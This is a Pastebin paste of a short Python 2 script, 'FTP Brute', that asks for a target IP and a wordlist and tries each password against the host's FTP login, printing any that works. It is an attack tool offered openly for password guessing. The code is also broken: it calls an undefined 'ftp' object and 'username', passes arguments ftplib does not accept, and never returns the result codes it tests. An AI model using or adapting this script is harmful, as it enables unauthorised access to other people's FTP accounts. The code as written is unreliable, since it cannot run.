Advertisement
Guest User

FTP Brute

a guest
Aug 9th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.20 KB | None | 0 0
  1. #!/bin/env Python
  2. #coding: UTF-8
  3.  
  4. from ftplib import FTP
  5. import sys
  6. import os
  7. import subprocess
  8.  
  9. global host, line, input_file
  10.  
  11. #Para limpar a tela
  12. subprocess.call('clear', shell=True)
  13.  
  14. line = "\n-------------------------------------------------\n"
  15.  
  16. try:
  17. host = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Ip Host: ")
  18. input_file = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Wordlist Brute Force: ")
  19.  
  20. if os.path.exists(input_file) == False:
  21. print "\n[*] File not Exist"
  22. sys.exit(4)
  23. except KeyboardInterrupt:
  24. print "\n\n[*] Canceled"
  25. sys.exit(3)
  26.  
  27.  
  28. def ftp_connect(password, code = 0):
  29. ftp = ftp.connect(host, port=21, username=username, password=password)
  30.  
  31.  
  32. input_file = open(input_file)
  33.  
  34. print ""
  35.  
  36.  
  37. for i in input_file.readlines():
  38. password = i.strip("\n")
  39. try:
  40. response = ftp_connect(password)
  41.  
  42. if response == 0:
  43. print ("%s[*] User: %s [*] Password: %s%s" % (line, host, password, line))
  44. sys.exit(0)
  45. elif response == 1:
  46. print("[*] User: %s [*] Password: %s => Login Incorrect <=" % (host, password))
  47. elif response == 2:
  48. print("[*] Not Connection: %s" % (host))
  49. sys.exit(2)
  50. except Exception, e:
  51. print e
  52. pass
  53.  
  54. input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement